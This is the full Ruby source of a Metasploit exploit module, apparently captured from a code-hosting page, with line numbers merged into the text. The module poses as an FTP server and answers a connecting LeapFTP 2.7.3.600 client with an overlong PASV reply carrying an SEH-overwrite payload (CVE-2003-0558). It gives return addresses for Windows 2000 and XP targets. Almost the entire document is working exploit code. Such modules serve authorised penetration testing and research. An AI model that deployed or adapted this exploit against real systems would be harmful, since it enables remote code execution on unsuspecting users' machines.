Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/leapftp_pasv_reply.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::TcpServer9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'LeapWare LeapFTP v2.7.3.600 PASV Reply Client Overflow',14'Description' => %q{15This module exploits a buffer overflow in the LeapWare LeapFTP v2.7.3.60016client that is triggered through an excessively long PASV reply command. This17module was ported from the original exploit by drG4njubas with minor improvements.18},19'Author' => [ 'aushack' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2003-0558' ],24[ 'OSVDB', '4587' ],25[ 'BID', '7860' ],26[ 'EDB', '54' ]27],28'DefaultOptions' =>29{30'EXITFUNC' => 'seh',31},32'Payload' =>33{34'Space' => 1000,35'BadChars' => "\x00\x0a\x0d\().,",36'StackAdjustment' => -3500,37},38'Platform' => 'win',39'Targets' =>40[41# Patrick - Tested against w2k sp0, sp4, xp sp0, xp sp2 en OK.42[ 'Universal LeapFTP.exe', { 'Ret' => 0x004bdd24 } ], # p/p/r LeapFTP.exe43[ 'Windows 2000 SP0/4 English', { 'Ret' => 0x75022ac4 } ], # p/p/r ws2help.dll44[ 'Windows XP SP0 English', { 'Ret' => 0x7660139c } ], # p/p/r cscdll.dll45],46'Privileged' => false,47'DisclosureDate' => '2003-06-09',48'DefaultTarget' => 0))4950register_options(51[52OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),53OptString.new('SRVNAME', [ true, "Welcome to the ... FTP Service", "Test" ]),54])55end5657def on_client_connect(client)58return if ((p = regenerate_payload(client)) == nil)5960buffer = "220 Welcome to the " + datastore['SRVNAME'] + " FTP Service.\r\n"61client.put(buffer)62end6364def on_client_data(client)656667client.get_once6869# This could be improved if anyone wants to write a FTP server API.70user = "331 Please specify the password.\r\n"71client.put(user)7273client.get_once74pass = "230 Login successful.\r\n"75client.put(pass)7677client.get_once78syst = "215 Windows_NT 5.1\r\n"79client.put(syst)8081client.get_once82rest = "350 Restart position accepted (100).\r\n"83client.put(rest)8485client.get_once86rest = "350 Restart position accepted (0).\r\n"87client.put(rest)8889client.get_once90pwd = "257 \"/\"\r\n"91client.put(pwd)9293client.get_once94type = "200 Switching to ASCII mode.\r\n"95client.put(type)9697client.get_once98port = "500 Illegal PORT command.\r\n" # We force LeapFTP to use PASV. It will try PORT first.99client.put(port)100101client.get_once102pasv = "227 Entering Passive Mode ("103pasv << rand_text_numeric(1053) + generate_seh_payload(target.ret)104pasv << "," + rand_text_numeric(1)105pasv << "," + rand_text_numeric(1)106pasv << "," + rand_text_numeric(1)107pasv << "," + rand_text_numeric(1)108pasv << "," + rand_text_numeric(1)109pasv << ")\r\n"110111client.put(pasv)112113handler(client)114service.close_client(client)115end116end117118119